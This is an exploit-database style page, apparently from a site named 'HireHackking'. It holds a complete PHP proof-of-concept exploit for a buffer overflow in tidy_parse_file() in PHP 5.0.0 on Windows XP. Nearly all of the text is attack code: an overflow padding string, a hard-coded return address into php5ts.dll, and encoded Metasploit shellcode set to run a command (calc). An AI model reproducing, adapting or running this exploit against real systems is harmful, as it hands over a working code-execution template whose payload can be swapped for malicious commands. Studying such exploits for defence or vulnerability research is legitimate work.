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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<?php
#############################################################################
## PHP 5.0.0 tidy_parse_file() Buffer Overflow Exploit
## Tested on Windows XP SP3 English
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 17/09/2016
## Buffer Overflow
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################

$junk 	= str_repeat("A", 2036); # 2036 x A
$eip 	= "\xaf\xc6\x17\x10"; # 0x1017c6af call esp @ php5ts.dll

# windows/exec - 144 bytes, Encoder: x86/shikata_ga_nai, EXITFUNC=seh, CMD=calc
$shellcode	= "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
"\x7f\xe8\x7b\xca";

$buffer = $junk.$eip.$shellcode;

tidy_parse_file(1,$buffer,1,1);
#tidy_repair_file(1,$buffer,1,1);
?>